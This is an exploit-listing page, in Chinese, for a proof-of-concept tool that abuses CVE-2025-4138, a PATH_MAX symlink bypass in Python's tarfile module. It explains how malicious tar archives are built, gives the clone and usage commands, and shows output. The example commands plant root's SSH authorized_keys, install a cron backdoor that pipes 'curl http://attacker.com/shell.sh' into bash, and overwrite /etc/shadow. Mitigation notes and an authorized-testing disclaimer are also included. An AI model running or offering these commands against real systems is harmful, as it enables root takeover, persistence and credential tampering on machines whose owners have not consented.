Sploitus

Exploit for CVE-2025-4138-POC

kitploit · 2026-09-02

Exploit Code

MARKDOWN155 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-D3VN0MI-CVE-2025-4138-POC
# CVE-2025-4138 - Python `tarfile` PATH_MAX 绕过 PoC

> **作者:** d3vn0mi

root@kitploit:~
    
    
       _______  _______     ____  ___ ___  ___      _ _  _ _____ ___
      / ___\ \ / / ____|   |___ \/ _ \__ \| __|    | | || |___ /( _ )
     | |    \ V /|  _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
     | |___  | | | |__|_____/ __/| |_| / __/___) |___|__   _|__) \__, |
      \____| |_| |_____|   |_____|\___/_____|____/      |_||____/ /_/
    
      [ CVE-2025-4138 :: Python tarfile PATH_MAX 绕过 ]
      [ 作者: d3vn0mi                                 ]
    

## 概述

针对 **CVE-2025-4138** 的概念验证利用代码,这是一个 Python `tarfile` 模块中的路径遍历漏洞。该漏洞允许攻击者通过滥用符号链接链使其超出 `PATH_MAX` 限制,从而构造恶意的 tar 归档文件,将文件写入预期解压目录之外的任意位置。

## 漏洞详情

### 工作原理

利用过程分为四个阶段:

  1. **路径膨胀** \-- 构造一层深度嵌套的目录和符号链接链,使最终解析路径超过内核的 `PATH_MAX` 限制(Linux 上为 4096 字节)。

  2. **枢轴符号链接** \-- 添加一个符号链接,其解析路径跨越 `PATH_MAX` 边界。由于路径过长无法解析,Python 的 `tarfile` 安全检查(依赖 `os.path.realpath()`)会静默失败并跳过验证。

  3. **逃逸符号链接** \-- 第二个符号链接利用 `../` 遍历,通过枢轴符号链接逃离解压目录,指向文件系统上攻击者控制的绝对路径。

  4. **载荷投放** \-- 通过逃逸符号链接写入一个常规文件,以攻击者控制的内容和权限落在目标路径。




root@kitploit:~
    
    
    解压目录
        |
        +-- ddd...d/          (247 字符的目录名)
        |   +-- a -> ddd...d  (符号链接快捷方式)
        |   +-- ddd...d/
        |       +-- b -> ddd...d
        |       +-- ...       (16 层深,解析路径 > 4096)
        |
        +-- a/b/.../p/lll...l -> ../../...   (枢轴 - PATH_MAX 已超出)
        +-- escape -> pivot + ../../... + /target/dir  (逃逸)
        +-- escape/target_file  <-- 载荷落在此处 (解压目录之外)
    

## 安装

root@kitploit:~
    
    
    git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
    cd cve_2025_4138_poc
    

无需外部依赖 -- 该漏洞利用仅使用 Python 3 标准库模块。

## 用法

root@kitploit:~
    
    
    usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
                            [-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
                            [-d DEPTH] [-v] [-q]
    

### 选项

### 示例

**将 SSH 公钥写入 root 的 authorized_keys:**

root@kitploit:~
    
    
    python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v
    

**写入持久化 cron 任务:**

root@kitploit:~
    
    
    python3 cve_2025_4138.py \
      -s "* * * * * root curl http://attacker.com/shell.sh | bash" \
      -t /etc/cron.d/backdoor \
      -m 0644 \
      -o cron_exploit.tar
    

**从本地文件写入任意文件内容:**

root@kitploit:~
    
    
    python3 cve_2025_4138.py \
      -p payload.txt \
      -t /etc/shadow \
      -o shadow_exploit.tar \
      -v
    

### 输出

root@kitploit:~
    
    
    [*] 正在构建漏洞利用 tar 包: exploit.tar
    [*] 目标文件: /root/.ssh/authorized_keys
    [*] 载荷大小: 574 字节
    [*] 遍历深度: 8
    [*] 阶段 1/4: 创建用于路径膨胀的符号链接链...
    [*]   链接 1/16: 解析路径长度 ~247 字节
    [*]   链接 2/16: 解析路径长度 ~494 字节
        ...
    [*] 阶段 2/4: 创建枢轴符号链接 (PATH_MAX 绕过)...
    [*] 阶段 3/4: 创建逃逸符号链接 (目录遍历)...
    [*] 阶段 4/4: 通过逃逸符号链接写入载荷...
    [+] 漏洞利用 tar 包已创建: exploit.tar
    [+] 归档大小: 20480 字节
    [+] 目标: /root/.ssh/authorized_keys (权限 0o600)
    [+] 完成。请谨慎使用 - 仅限授权测试。
    

## 缓解措施

  * **升级 Python** 到已修复的版本(修复发布后)。
  * **使用`tarfile.data_filter`**(Python 3.12+),提供更严格的解压控制。
  * **切勿以 root 身份或在敏感目录中解压不受信任的 tar 归档文件** 。
  * **使用`--strip-components`** 或在解压前验证归档内容。
  * **应用文件系统级别的保护** ,例如限制符号链接跟随(`fs.protected_symlinks`)。



## 免责声明

本工具仅用于**授权的安全测试和教育目的** 。未经授权访问计算机系统是违法的。作者对滥用行为概不负责。在针对您不拥有的系统进行测试之前,请务必获得适当的书面授权。

## 许可证

本项目采用 MIT 许可证。

* * *

**d3vn0mi** | GitHub